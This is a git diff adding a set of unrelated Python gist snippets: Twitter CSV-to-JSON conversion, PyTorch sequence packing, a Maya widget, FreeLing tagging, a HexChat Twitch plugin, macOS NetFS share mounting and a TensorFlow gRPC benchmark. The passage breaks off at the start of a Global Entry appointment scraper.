diff --git a/hard-gists/df9ad5ef01d16c02d68d9a8c17c75b73/._snippet.py b/hard-gists/df9ad5ef01d16c02d68d9a8c17c75b73/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/df9ad5ef01d16c02d68d9a8c17c75b73/._snippet.py differ
diff --git a/hard-gists/df9ad5ef01d16c02d68d9a8c17c75b73/snippet.py b/hard-gists/df9ad5ef01d16c02d68d9a8c17c75b73/snippet.py
new file mode 100644
index 00000000..d09a45a6
--- /dev/null
+++ b/hard-gists/df9ad5ef01d16c02d68d9a8c17c75b73/snippet.py
@@ -0,0 +1,40 @@
+
+#
+# twitter csv process
+# write by @jiyang_viz
+#
+# require:
+# https://github.com/edburnett/twitter-text-python
+#
+# download csv file from:
+# https://github.com/bpb27/political_twitter_archive/tree/master/realdonaldtrump
+#
+
+import json
+import csv
+from ttp import ttp
+from dateutil import parser as date_parser
+
+# read csv to Dict
+with open('realdonaldtrump.csv', 'r') as f:
+    reader = csv.DictReader(f, delimiter = ',')
+    data = list(reader)
+
+# write to json file (same fields as csv)
+with open('realdonaldtrump.json', 'w') as f:
+    for item in data:
+        f.write(json.dumps(item) + '\n')
+
+# get more info from text message
+parser = ttp.Parser()
+for item in data:
+    result = parser.parse(item['text'])
+    item['tags'] = result.tags
+    item['users'] = result.users
+    item['reply'] = result.reply
+    item['tweet_time'] = str(date_parser.parse(item['created_at']))
+
+# write to json file (more fields)
+with open('realdonaldtrump_more.json', 'w') as f:
+    for item in data:
+        f.write(json.dumps(item) + '\n')
\ No newline at end of file
diff --git a/hard-gists/dfca335e370a2bc3bc79876e6270099e/._snippet.py b/hard-gists/dfca335e370a2bc3bc79876e6270099e/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dfca335e370a2bc3bc79876e6270099e/._snippet.py differ
diff --git a/hard-gists/dfca335e370a2bc3bc79876e6270099e/snippet.py b/hard-gists/dfca335e370a2bc3bc79876e6270099e/snippet.py
new file mode 100644
index 00000000..ee974beb
--- /dev/null
+++ b/hard-gists/dfca335e370a2bc3bc79876e6270099e/snippet.py
@@ -0,0 +1,55 @@
+import torch
+import torch.nn as nn
+from torch.autograd import Variable
+from torch.nn.utils.rnn import pack_padded_sequence, pad_packed_sequence
+import torch.nn.functional as F
+import numpy as np
+import itertools
+
+def flatten(l):
+	return list(itertools.chain.from_iterable(l))
+
+seqs = ['ghatmasala','nicela','chutpakodas']
+
+# make <pad> idx 0
+vocab = ['<pad>'] + sorted(list(set(flatten(seqs))))
+
+# make model
+embed = nn.Embedding(len(vocab), 10).cuda()
+lstm = nn.LSTM(10, 5).cuda()
+
+vectorized_seqs = [[vocab.index(tok) for tok in seq]for seq in seqs]
+
+# get the length of each seq in your batch
+seq_lengths = torch.cuda.LongTensor(map(len, vectorized_seqs))
+
+# dump padding everywhere, and place seqs on the left.
+# NOTE: you only need a tensor as big as your longest sequence
+seq_tensor = Variable(torch.zeros((len(vectorized_seqs), seq_lengths.max()))).long().cuda()
+for idx, (seq, seqlen) in enumerate(zip(vectorized_seqs, seq_lengths)):
+	seq_tensor[idx, :seqlen] = torch.LongTensor(seq)
+
+
+# SORT YOUR TENSORS BY LENGTH!
+seq_lengths, perm_idx = seq_lengths.sort(0, descending=True)
+seq_tensor = seq_tensor[perm_idx]
+
+# utils.rnn lets you give (B,L,D) tensors where B is the batch size, L is the maxlength, if you use batch_first=True
+# Otherwise, give (L,B,D) tensors
+seq_tensor = seq_tensor.transpose(0,1) # (B,L,D) -> (L,B,D)
+
+# embed your sequences
+seq_tensor = embed(seq_tensor)
+
+# pack them up nicely
+packed_input = pack_padded_sequence(seq_tensor, seq_lengths.cpu().numpy())
+
+# throw them through your LSTM (remember to give batch_first=True here if you packed with it)
+packed_output, (ht, ct) = lstm(packed_input)
+
+# unpack your output if required
+output, _ = pad_packed_sequence(packed_output)
+print output
+
+# Or if you just want the final hidden state?
+print ht[-1]
\ No newline at end of file
diff --git a/hard-gists/dfd7eb0ce2915d004367/._snippet.py b/hard-gists/dfd7eb0ce2915d004367/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dfd7eb0ce2915d004367/._snippet.py differ
diff --git a/hard-gists/dfd7eb0ce2915d004367/snippet.py b/hard-gists/dfd7eb0ce2915d004367/snippet.py
new file mode 100644
index 00000000..bfba23d1
--- /dev/null
+++ b/hard-gists/dfd7eb0ce2915d004367/snippet.py
@@ -0,0 +1,62 @@
+from PySide import QtCore, QtGui
+import shiboken
+import maya.OpenMayaUI as omui
+from maya.app.general.mayaMixin import MayaQWidgetDockableMixin
+import pymel.core as pm
+
+def wrapInstance(ptr, base=None):
+    """
+    Utility to convert a pointer to a Qt class instance (PySide/PyQt compatible)
+    borrowed from http://nathanhorne.com/?p=485
+    :param ptr: Pointer to QObject in memory
+    :type ptr: long or Swig instance
+    :param base: (Optional) Base class to wrap with (Defaults to QObject, which should handle anything)
+    :type base: QtGui.QWidget
+    :return: QWidget or subclass instance
+    :rtype: QtGui.QWidget
+    """
+    if ptr is None:
+        return None
+    ptr = long(ptr)  # Ensure type
+    if globals().has_key('shiboken'):
+        if base is None:
+            qObj = shiboken.wrapInstance(long(ptr), QtCore.QObject)
+            metaObj = qObj.metaObject()
+            cls = metaObj.className()
+            superCls = metaObj.superClass().className()
+            if hasattr(QtGui, cls):
+                base = getattr(QtGui, cls)
+            elif hasattr(QtGui, superCls):
+                base = getattr(QtGui, superCls)
+            else:
+                base = QtGui.QWidget
+        return shiboken.wrapInstance(long(ptr), base)
+    elif globals().has_key('sip'):
+        base = QtCore.QObject
+        return sip.wrapinstance(long(ptr), base)
+    else:
+        return None
+
+layerControlName = "DisplayLayerUITabLayout"
+ 
+class MyWidget(MayaQWidgetDockableMixin,QtGui.QWidget):
+    def __init__(self):
+        super(MyWidget, self).__init__()
+
+        layout = QtGui.QVBoxLayout()
+        self.setLayout(layout)
+
+        
+
+        ptr = omui.MQtUtil.findControl(layerControlName)
+
+        attrWidget = wrapInstance(ptr, QtGui.QWidget)
+        
+        attrWidget.setObjectName("myLayerEditor")
+        
+        layout.addWidget(attrWidget)
+        
+ui = MyWidget()
+ui.show()
+
+pm.mel.source("layerEditor.mel")
diff --git a/hard-gists/dffb8de093502b153e85/._snippet.py b/hard-gists/dffb8de093502b153e85/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/dffb8de093502b153e85/._snippet.py differ
diff --git a/hard-gists/dffb8de093502b153e85/snippet.py b/hard-gists/dffb8de093502b153e85/snippet.py
new file mode 100644
index 00000000..e3e06a9b
--- /dev/null
+++ b/hard-gists/dffb8de093502b153e85/snippet.py
@@ -0,0 +1,79 @@
+#!/opt/local/bin/python3.2
+# -*- encoding: utf-8 -*-
+
+import sys
+import json
+
+sys.path.append('.../myfreeling/APIs/python')
+import freeling
+import codecs
+import re
+import time
+from datetime import date
+
+FREELINGDIR = "/usr/local"
+DATA = FREELINGDIR+"/share/freeling/"
+LANG="pt"
+
+freeling.util_init_locale("default") 
+
+op = freeling.maco_options("pt")
+op.set_active_modules(1,1,1,1,1,1,1,1,1,1,0)
+op.set_data_files("usermap.dat",
+                  DATA+LANG+"/locucions.dat", 
+                  DATA+LANG+"/quantities.dat", 
+                  DATA+LANG+"/afixos.dat",
+                  DATA+LANG+"/probabilitats.dat", 
+                  DATA+LANG+"/dicc.src", 
+                  DATA+LANG+"/np.dat",  
+                  DATA+"common/punct.dat", 
+                  "")
+op.set_retok_contractions(False)
+
+lg  = freeling.lang_ident(DATA+"common/lang_ident/ident-few.dat")
+mf  = freeling.maco(op)
+tk  = freeling.tokenizer(DATA+LANG+"/tokenizer.dat")
+sp  = freeling.splitter(DATA+LANG+"/splitter.dat")
+tg  = freeling.hmm_tagger(DATA+LANG+"/tagger.dat",1,2)
+sen = freeling.senses(DATA+LANG+"/senses.dat");
+ukb = freeling.ukb(DATA+LANG+"/ukb.dat")
+
+def tag (obj):
+    sent = obj["text"]
+    out = obj
+    lang = lg.identify_language(sent)
+    l = tk.tokenize(sent)
+    ls = sp.split(l,1) # old value 0
+    ls = mf.analyze(ls)
+    ls = tg.analyze(ls)
+    wss = []
+    for s in ls:
+        ws = s.get_words()
+        for w in ws:
+            an = w.get_analysis()
+            a = an[0]
+            wse = dict(wordform =  w.get_form(),
+                       lemma = a.get_lemma(),
+                       tag = a.get_tag(),
+                       prob = a.get_prob(),
+                       analysis = len(an))
+            wss.append(wse)
+    out['words'] = wss
+    out['lang'] = lang
+    return out
+
+if (len(sys.argv) > 1):
+    file= sys.argv[1]
+else:
+    print("Please give an input filename (with text in utf8)")
+    sys.exit(1)
+
+f = codecs.open(file, "r", "utf-8" )
+input = json.load(f)
+tweets = []
+for s in input:
+    tweets.append(tag(s))
+
+with open(sys.argv[2], 'w') as outfile:
+    json.dump(tweets, outfile, indent=2)
+    
diff --git a/hard-gists/e0defc252f665b2b51e8/._snippet.py b/hard-gists/e0defc252f665b2b51e8/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e0defc252f665b2b51e8/._snippet.py differ
diff --git a/hard-gists/e0defc252f665b2b51e8/snippet.py b/hard-gists/e0defc252f665b2b51e8/snippet.py
new file mode 100644
index 00000000..43b4d561
--- /dev/null
+++ b/hard-gists/e0defc252f665b2b51e8/snippet.py
@@ -0,0 +1,216 @@
+import hexchat
+
+__module_name__ = 'Twitch'
+__module_author__ = 'TingPing, frumpy4, StepS'
+__module_version__ = '6.8'
+__module_description__ = 'Better integration with Twitch.tv'
+
+# Commands from http://help.twitch.tv/customer/portal/articles/659095-chat-moderation-commands
+# Enable the "commands" and "membership" caps for the best effect
+# See https://github.com/justintv/Twitch-API/blob/master/chat/capabilities.md for an up-to-date list.
+# /ban may conflict with other scripts nothing we can do about that
+# /clear is an existing command, just override it
+commands = ('timeout', 'slow', 'slowoff', 'subscribers', 'subscribersoff',
+			'mod', 'unmod', 'mods', 'clear', 'ban', 'unban', 'commercial',
+			'r9kbeta', 'r9kbetaoff', 'color', 'host', 'unhost', 'disconnect', 'w')
+
+aliases = {'op':'mod', 'deop':'unmod'}
+
+ymsgEdited = False
+yactEdited = False
+
+# Clean out some control chars from messages because Twitch servers eat them on delivery.
+# So the local representation will be consistent with what the receiving end will see.
+def strip_cchars(str):
+	for list in [range(2, 9), range(11, 13), range(14, 32)]:
+		for cnum in list:
+			str = str.replace(chr(cnum), '')
+	return str
+
+def chantype(context):
+	for chan in hexchat.get_list('channels'):
+		if chan.context == context:
+			return chan.type
+	return 0
+
+# From https://github.com/TingPing/plugins/blob/master/HexChat/mymsg.py and modified
+def self_msg(msg, context=hexchat):
+	mynick = context.get_info('nick')
+	if '\001ACTION' in msg:
+		for repl in ('\001ACTION', '\001'):
+			msg = msg.replace(repl, '', 1)
+		return context.emit_print('Your Action', mynick, msg.strip())
+	else:
+		return context.emit_print('Your Message', mynick, msg)
+
+# For functions that must only take effect on Twitch
+def twitchOnly(func):
+	def if_twitch(*args, **kwargs):
+		for host in (hexchat.get_info('host'), hexchat.get_info('server')):
+			if host and 'twitch.tv' in host:
+				return func(*args, **kwargs)
+		else:
+			return hexchat.EAT_NONE
+	return if_twitch
+
+# Handle chat clean-ups and timeouts.
+@twitchOnly
+def clearchat_cb(word, word_eol, userdata):
+	if len(word) == 4:
+		hexchat.emit_print('Server Text','User \00318'+word[3].replace(':','',1)+'\017 has been timed out.')
+	elif len(word) == 3:
+		hexchat.emit_print('Server Text','Chat has been cleared by a moderator.')
+	else:
+		return hexchat.EAT_NONE
+	return hexchat.EAT_ALL
+
+# Handle whispers and display them as private messages in the current context.
+@twitchOnly
+def whisper_cb(word, word_eol, userdata):
+	whisper = word_eol[3].replace(':','',1)
+	nick = word[0][1:].split('!')[0]
+	context = hexchat.find_context(channel=nick)
+	if context:
+		context.command('recv {} PRIVMSG {}'.format(word[0], word_eol[2]))
+	else:
+		# hexchat.command('recv {} NOTICE {}'.format(word[0], word_eol[2]))
+		# 'Private Message' produces a beep so is preferable
+		hexchat.emit_print('Private Message', nick, whisper)
+	return hexchat.EAT_ALL
+
+# Twitch returns a lot of 'unknown command' errors, ignore them.
+@twitchOnly
+def servererr_cb(word, word_eol, userdata):
+	if word[3] in ('WHO', 'WHOIS'):
+		return hexchat.EAT_ALL
+
+@twitchOnly
+def eatall(word, word_eol, data):
+	return hexchat.EAT_ALL
+
+# Called if a RECONNECT message is received from the server.
+@twitchOnly
+def reconnect_cb(word, word_eol, userdata):
+	hexchat.emit_print('Server Error', 'The server has requested you to reconnect. \
+If you don\'t do this, you will likely be disconnected after 30 seconds.')
+	return hexchat.EAT_ALL
+
+# Called if a Twitch channel is hosting somebody while offline (switches to the target stream in the webbrowser)
+# Treat it as an invite in HexChat.
+@twitchOnly
+def hosttarget_cb(word, word_eol, userdata):
+	source = word[2].replace('#','',1)
+	targchan = word[3].replace(':','#',1)
+	if targchan != '#-':
+		hexchat.emit_print('Invited', targchan, source, hexchat.get_info('server'))
+	return hexchat.EAT_ALL
+
+# Print private jtv messages in server tab (if the commands cap is not in use).
+# Print "channel" jtv/twitchnotify messages in the respective channel tab (with CAPs).
+@twitchOnly
+def privmsg_cb(word, word_eol, userdata):
+	nick = word[0][1:].split('!')[0]
+	if nick == 'jtv' or nick == 'twitchnotify':
+		if word[2][0] != '#':
+			for chan in hexchat.get_list('channels'):
+				if chan.type == 1 and chan.id == hexchat.get_prefs('id'):
+					chan.context.emit_print('Server Text', word_eol[3][1:])
+			return hexchat.EAT_ALL
+		else:
+			hexchat.emit_print('Server Text', word_eol[3][1:])
+			return hexchat.EAT_ALL
+		# Obsolete, no longer sent by twitch/jtv in this form
+		# elif word[3] in (':USERCOLOR', ':USERSTATE', ':HISTORYEND', ':EMOTESET', ':CLEARCHAT', ':SPECIALUSER'):
+			# return hexchat.EAT_ALL
+
+# Eat any message starting with '.' and '/', twitch eats all of them too.
+# Except for the .w (whisper) messages when formed properly.
+# Also clean out control chars (see "strip_cchars")
+@twitchOnly
+def yourmsg_cb(word, word_eol, userdata):
+	global ymsgEdited
+	if ymsgEdited:
+		return
+
+	if chantype(hexchat.get_context()) == 2:
+		if word[1][0] in ['.', '/']:
+			args = word[1].split(' ')
+			if args[0][1:] == 'w':
+				if len(args) >= 3:
+					hexchat.emit_print('Notice Send', args[1], strip_cchars(' '.join(args[2:])))
+				# Otherwise let the Twitch server demonstrate /w usage.
+			return hexchat.EAT_ALL
+		else:
+			ymsgEdited = True
+			hexchat.emit_print('Your Message', word[0], strip_cchars(word[1]), '' if len(word) < 3 else word[2])
+			ymsgEdited = False
+			return hexchat.EAT_ALL
+
+# Clean out control chars from actions (see "strip_cchars")
+@twitchOnly
+def youract_cb(word, word_eol, userdata):
+	global yactEdited
+	if yactEdited:
+		return
+
+	yactEdited = True
+	hexchat.emit_print('Your Action', word[0], strip_cchars(word[1]), '' if len(word) < 3 else word[2])
+	yactEdited = False
+	return hexchat.EAT_ALL
+
+# PM support: PMs are redirected to whispers. It sends a /w to #jtv that gets eaten.
+# A relay channel is needed for whispers to work, using #jtv as recommended on the official forums.
+@twitchOnly
+def my_saymsg_cb(word, word_eol, data):
+	if chantype(hexchat.get_context()) == 3:
+		targ = hexchat.get_info('channel')
+		self_msg(word_eol[0])
+		hexchat.command('PRIVMSG #jtv :/w {} {}'.format(targ, strip_cchars(word_eol[0])))
+		return hexchat.EAT_ALL
+
+# Redirect /msg and /notice to /w if the target is not a channel
+@twitchOnly
+def my_msg_cb(word, word_eol, data):
+	if len(word) > 2 and word[1][0] != '#':
+		hexchat.emit_print('Notice Send', word[1], strip_cchars(word_eol[2]))
+		hexchat.command('PRIVMSG #jtv :/w {}'.format(word_eol[1]))
+		return hexchat.EAT_ALL
+
+# Just prefix with a '/' ('.' also works but '/' is preferred officially).
+@twitchOnly
+def command_cb(word, word_eol, alias):
+	if chantype(hexchat.get_context()) != 2:
+		hexchat.emit_print('Server Text','You must be on a channel to use the Twitch commands.')
+		return hexchat.EAT_ALL
+	elif alias:
+		if len(word_eol) > 1:
+			hexchat.command('say /{} {}'.format(alias, word_eol[1]))
+		else:
+			hexchat.command('say /{}'.format(alias))
+	else:
+		hexchat.command('say /{}'.format(word_eol[0]))
+	return hexchat.EAT_ALL
+
+for command in commands:
+	hexchat.hook_command(command, command_cb)
+for command, alias in aliases.items():
+	hexchat.hook_command(command, command_cb, alias)
+hexchat.hook_command('', my_saymsg_cb)
+hexchat.hook_command('msg', my_msg_cb)
+hexchat.hook_command('notice', my_msg_cb)
+hexchat.hook_server('421', servererr_cb)
+hexchat.hook_server('PRIVMSG', privmsg_cb)
+hexchat.hook_server('CLEARCHAT', clearchat_cb)
+hexchat.hook_server('WHISPER', whisper_cb)
+hexchat.hook_server('RECONNECT', reconnect_cb)
+hexchat.hook_server('HOSTTARGET', hosttarget_cb)
+hexchat.hook_server('USERSTATE', eatall)
+hexchat.hook_server('GLOBALUSERSTATE', eatall)
+hexchat.hook_server('HISTORYEND', eatall)
+hexchat.hook_server('SPECIALUSER', eatall)
+hexchat.hook_server('ROOMSTATE', eatall)
+hexchat.hook_print('Your Message', yourmsg_cb)
+hexchat.hook_print('Your Action', youract_cb)
+# Obsolete
+# hexchat.hook_server('EMOTESET', eatall)
+# hexchat.hook_server('USERCOLOR', eatall)
diff --git a/hard-gists/e11b546d6ba9ebc2b604/._snippet.py b/hard-gists/e11b546d6ba9ebc2b604/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e11b546d6ba9ebc2b604/._snippet.py differ
diff --git a/hard-gists/e11b546d6ba9ebc2b604/snippet.py b/hard-gists/e11b546d6ba9ebc2b604/snippet.py
new file mode 100644
index 00000000..183a022e
--- /dev/null
+++ b/hard-gists/e11b546d6ba9ebc2b604/snippet.py
@@ -0,0 +1,99 @@
+# This actually uses the same API call (NetFSMountURLSync) that AppleScript uses :D
+# Note: As written, requires OS X 10.10+ / pyobjc 2.5.1+
+
+import objc, CoreFoundation
+from ctypes import c_void_p, pointer, cast
+
+# The only reason I'm doing this the XML way is because I don't have a better way (yet)
+# for correcting a function signature -after- it's already been imported.
+# The problem is the last argument is a pointer to a CFArrayRef, which works out to a
+# pointer to a pointer to a CFArray. pyobjc doesn't hadnle that much abstraction, so I created
+# a custom opaque type 'CFArrayRefRef' and manually handle the conversion to/from pointer.
+
+NetFS_bridgesupport = \
+"""<?xml version='1.0'?>
+<!DOCTYPE signatures SYSTEM "file://localhost/System/Library/DTDs/BridgeSupport.dtd">
+<signatures version='1.0'>
+<depends_on path='/System/Library/Frameworks/SystemConfiguration.framework'/>
+<depends_on path='/System/Library/Frameworks/CoreFoundation.framework'/>
+<depends_on path='/System/Library/Frameworks/DiskArbitration.framework'/>
+<string_constant name='kNAUIOptionKey' nsstring='true' value='UIOption'/>
+<string_constant name='kNAUIOptionNoUI' nsstring='true' value='NoUI'/>
+<string_constant name='kNetFSAllowSubMountsKey' nsstring='true' value='AllowSubMounts'/>
+<string_constant name='kNetFSMountAtMountDirKey' nsstring='true' value='MountAtMountDir'/>
+<opaque name='CFArrayRefRef' type='^{CFArrayRefRef=}' />
+<function name='NetFSMountURLSync'>
+<arg type='^{__CFURL=}'/>
+<arg type='^{__CFURL=}'/>
+<arg type='^{__CFString=}'/>
+<arg type='^{__CFString=}'/>
+<arg type='^{__CFDictionary=}'/>
+<arg type='^{__CFDictionary=}'/>
+<arg type='^{CFArrayRefRef=}'/>
+<retval type='i'/>
+</function>
+</signatures>"""
+
+# This is fun - lets you refer dict keys like dict.keyname
+class attrdict(dict): 
+    __getattr__ = dict.__getitem__
+    __setattr__ = dict.__setitem__
+
+# Create 'NetFS' framework object from XML above
+NetFS = attrdict()
+objc.parseBridgeSupport(NetFS_bridgesupport, NetFS, objc.pathForFramework('NetFS.framework'))
+
+class ArrayPair(object):
+    def __init__(self):
+        super(type(self), self).__init__()
+        # Build a pointer to a null array (which OS X will replace anyways)
+        self.cArray = pointer(c_void_p(None))
+        # Now we cast it to our custom opaque type
+        self.oArray = NetFS.CFArrayRefRef(c_void_p=cast(self.cArray, c_void_p))
+    def contents(self):
+        # Cast the pointer cArray now points to into a objc object (CFArray/NSArray here)
+        return [str(x) for x in objc.objc_object(c_void_p=self.cArray.contents)]
+
+def mount_share(share_path):
+    # Mounts a share at /Volumes, returns the mount point or raises an error
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    mount_options = {NetFS.kNetFSAllowSubMountsKey: True}
+    # Build our connected pointers for our results
+    mountpaths = ArrayPair()
+    # Attempt to mount!
+    output = NetFS.NetFSMountURLSync(sh_url, None, None, None, open_options, mount_options, mountpaths.oArray)
+    # Check if it worked
+    if output != 0:
+        raise Exception('Error mounting url "%s": %s' % (share_path, output))
+    # Oh cool, it worked - return the resulting mount point path
+    return mountpaths.contents()[0]
+
+def mount_share_at_path(share_path, mount_path):
+    # Mounts a share at the specified path, returns the mount point or raises an error
+    sh_url = CoreFoundation.CFURLCreateWithString(None, share_path, None)
+    mo_url = CoreFoundation.CFURLCreateWithString(None, mount_path, None)
+    # Set UI to reduced interaction
+    open_options  = {NetFS.kNAUIOptionKey: NetFS.kNAUIOptionNoUI}
+    # Allow mounting sub-directories of root shares
+    # Also specify the share should be mounted directly at (not under) mount_path
+    mount_options = {
+                     NetFS.kNetFSAllowSubMountsKey: True,
+                     NetFS.kNetFSMountAtMountDirKey: True,
+                    }
+    # Build our connected pointers for our results
+    mountpaths = ArrayPair()
+    # Attempt to mount!
+    output = NetFS.NetFSMountURLSync(sh_url, mo_url, None, None, open_options, mount_options, mountpaths.oArray)
+    # Check if it worked
+    if output != 0:
+        raise Exception('Error mounting url "%s" at path "%s": %s' % (share_path, mount_path, output))
+    # Oh cool, it worked - return the resulting mount point path
+    return mountpaths.contents()[0]
+
+# Example usage:
+mounted_at = mount_share('afp://server.local/sharename')
+mounted_at = mount_share_at_path('afp://server2.local/moreshare', '/custom/mount/location')
+
diff --git a/hard-gists/e196107b5e0afc834652bd3153030c42/._snippet.py b/hard-gists/e196107b5e0afc834652bd3153030c42/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e196107b5e0afc834652bd3153030c42/._snippet.py differ
diff --git a/hard-gists/e196107b5e0afc834652bd3153030c42/snippet.py b/hard-gists/e196107b5e0afc834652bd3153030c42/snippet.py
new file mode 100644
index 00000000..28cba026
--- /dev/null
+++ b/hard-gists/e196107b5e0afc834652bd3153030c42/snippet.py
@@ -0,0 +1,176 @@
+# Dependencies:
+# portpicker (pip install portpicker)
+# tcmalloc4 (sudo apt-get install google-perftools)
+# TF 0.12
+#
+#
+# Benchmarks on Xeon E5-2630 v3 @ 2.40GHz
+#
+# export LD_PRELOAD=/usr/lib/libtcmalloc.so.4
+# python benchmark_grpc_recv.py --data_mb=128
+# Local rate:       15214.63 MB/s
+# Distributed rate: 569.27 MB/s
+
+# python benchmark_grpc_recv.py --data_mb=256
+# Local rate:       15461.36 MB/s
+# Distributed rate: 362.97 MB/s
+#
+# python benchmark_grpc_recv.py --data_mb=512
+# Local rate:       15451.36 MB/s
+# Distributed rate: 202.46 MB/s
+#
+# python benchmark_grpc_recv.py --data_mb=768
+# Local rate:       16046.28 MB/s
+# Distributed rate: 142.19 MB/s
+#
+# python benchmark_grpc_recv.py --data_mb=1024
+# Local rate:       14546.77 MB/s
+# Distributed rate: 106.29 MB/s
+#
+# Generating profile:
+#
+# rm /tmp/profile*
+# python benchmark_grpc_recv.py --data_mb=512 --profile
+# export p=/tmp/profile.out.0_27680
+# google-pprof `which python` $p --svg > /tmp/profile.0.svg
+# export p=/tmp/profile.out.1_27683
+# google-pprof `which python` $p --svg > /tmp/profile.1.svg
+
+
+import os
+import portpicker
+import subprocess
+import sys
+import tensorflow as tf
+import threading
+import time
+
+flags = tf.flags
+flags.DEFINE_integer("iters", 10, "Maximum number of additions")
+flags.DEFINE_integer("data_mb", 128, "size of vector in MBs")
+flags.DEFINE_boolean("verbose", False, "whether to have verbose logging")
+flags.DEFINE_boolean("profile", False, "whether to collect CPU profile")
+
+# internal flags, set by client
+flags.DEFINE_string("task_index", "", "# of current task")
+flags.DEFINE_string("port0", "12222", "port of worker1, used as main")
+flags.DEFINE_string("port1", "12223", "port of worker2")
+FLAGS = flags.FLAGS
+
+# setup local cluster from flags
+
+def session_config():
+  optimizer_options = tf.OptimizerOptions(opt_level=tf.OptimizerOptions.L0)
+  graph_options = tf.GraphOptions(optimizer_options=optimizer_options)
+  config = tf.ConfigProto(graph_options=graph_options,
+                          intra_op_parallelism_threads=10,
+                          inter_op_parallelism_threads=10)
+
+
+host = "127.0.0.1"
+def clusterspec():
+  cluster = {"worker": [host+":"+FLAGS.port0, host+":"+FLAGS.port1]}
+  return tf.train.ClusterSpec(cluster).as_cluster_def()
+  
+  
+def create_graph(device0, device1):
+  """Create graph that keeps var1 on device0, var2 on device1 and adds them"""
+  
+  tf.reset_default_graph()
+  dtype=tf.int32
+  params_size = 250*1000*FLAGS.data_mb # 1MB is 250k integers
+
+  with tf.device(device0):
+    var1 = tf.get_variable("var1", [params_size], dtype,
+                             initializer=tf.ones_initializer())
+  with tf.device(device1):
+    var2 = tf.get_variable("var2", [params_size], dtype,
+                           initializer=tf.ones_initializer())
+    add_op = var1.assign_add(var2)
+    
+  init_op = tf.global_variables_initializer()
+  return init_op, add_op
+
+def create_done_queue(i):
+  """Queue used to signal death for i'th worker."""
+  
+  with tf.device("/job:worker/task:%s" % (i)):
+    return tf.FIFOQueue(1, tf.int32, shared_name="done_queue"+
+                        str(i))
+
+def run_benchmark(sess, init_op, add_op):
+  """Returns MB/s rate of addition."""
+  
+  sess.run(init_op)
+  sess.run(add_op.op)  # warm-up
+  start_time = time.time()
+  for i in range(FLAGS.iters):
+    sess.run(add_op.op)
+    
+  elapsed_time = time.time() - start_time
+  return float(FLAGS.iters)*FLAGS.data_mb/elapsed_time
+
+
+def run_benchmark_local():
+  ops = create_graph(None, None)
+  sess = tf.Session(config=session_config())
+  return run_benchmark(sess, *ops)
+
+
+def run_benchmark_distributed():
+  ops = create_graph("/job:worker/task:0", "/job:worker/task:1")
+  queues = [create_done_queue(0), create_done_queue(1)]
+
+  # launch distributed service
+
+
+  port0, port1 = [portpicker.pick_unused_port() for _ in range(2)]
+  flags = " ".join(sys.argv)  # pass parent flags to children
+  
+  def run_worker(w):
+    my_env = os.environ.copy()
+    if not FLAGS.verbose:
+      my_env["CUDA_VISIBLE_DEVICES"] = ""
+      my_env["TF_CPP_MIN_LOG_LEVEL"] = "2"
+    if FLAGS.profile:
+      my_env["LD_PRELOAD"]="/usr/lib/libtcmalloc_and_profiler.so.4"
+      my_env["CPUPROFILE"]="/tmp/profile.out.%s"%(w)
+    cmd = "python %s --task=%d --port0=%s --port1=%s"%(flags, w, port0, port1)
+    subprocess.Popen(cmd, shell=True, stderr=subprocess.STDOUT,
+                     env=my_env)
+    
+  run_worker(0)
+  run_worker(1)
+
+  sess = tf.Session("grpc://%s:%s"%(host, port0), config=session_config())
+  rate = run_benchmark(sess, *ops)
+
+  # bring down workers
+  if FLAGS.verbose:
+    print("Killing workers.")
+  sess.run(queues[1].enqueue(1))
+  sess.run(queues[0].enqueue(1))  # bring down main last
+  
+  return rate
+
+if __name__=='__main__':
+  if not FLAGS.task_index:
+
+    rate1 = run_benchmark_local()
+    rate2 = run_benchmark_distributed()
+
+    if FLAGS.verbose:
+      print("Adding data in %d MB chunks" %(FLAGS.data_mb))
+    print("Local rate:       %.2f MB/s" %(rate1,))
+    print("Distributed rate: %.2f MB/s" %(rate2,))
+
+  else: # Launch TensorFlow server
+    server = tf.train.Server(clusterspec(), config=session_config(),
+                             job_name="worker",
+                             task_index=int(FLAGS.task_index))
+    queue = create_done_queue(FLAGS.task_index)
+    sess = tf.Session(server.target, config=session_config())
+    sess.run(queue.dequeue())
+    time.sleep(1) # give chance for main session.run call to return
+    if FLAGS.verbose:
+      print("Worker %s quitting." %(FLAGS.task_index))
diff --git a/hard-gists/e1b58ad5ff33c697ae83d83fdbab76e4/._snippet.py b/hard-gists/e1b58ad5ff33c697ae83d83fdbab76e4/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/e1b58ad5ff33c697ae83d83fdbab76e4/._snippet.py differ
diff --git a/hard-gists/e1b58ad5ff33c697ae83d83fdbab76e4/snippet.py b/hard-gists/e1b58ad5ff33c697ae83d83fdbab76e4/snippet.py
new file mode 100644
index 00000000..e83e1507
--- /dev/null
+++ b/hard-gists/e1b58ad5ff33c697ae83d83fdbab76e4/snippet.py
@@ -0,0 +1,92 @@
+"""
+This is a script to help James find a global entry appointment before September because
+the whole tsa global entry thing is fucked.
+
+To use:
+
+sudo pip install scrapy
+scrapy runspider global_entry_scrapper.py
+
+To set up automated email notifications:
+
+sudo yum install python-pip -y
+sudo yum install python-devel -y
+sudo yum install gcc gcc-devel -y
+sudo yum install libxml2 libxml2-devel -y
+sudo yum install libxslt libxslt-devel -y
+sudo yum install openssl openssl-devel -y
+sudo yum install libffi libffi-devel -y
+CFLAGS="-O0" sudo pip install lxml
+sudo pip install Scrapy
+
+crontab -e
+*/15 * * * * scrapy runspider global_entry_scrapper.py
+
+"""
+
+USERNAME = ''
+PASSWORD = '' # special shitty password for global entry
+TEST_CENTER = '5446'  #SFO
+RUN_EMAIL_NOTIFICATION = False
+EMAIL = 'hng.jms@gmail.com'
+
+import scrapy
+import os
+
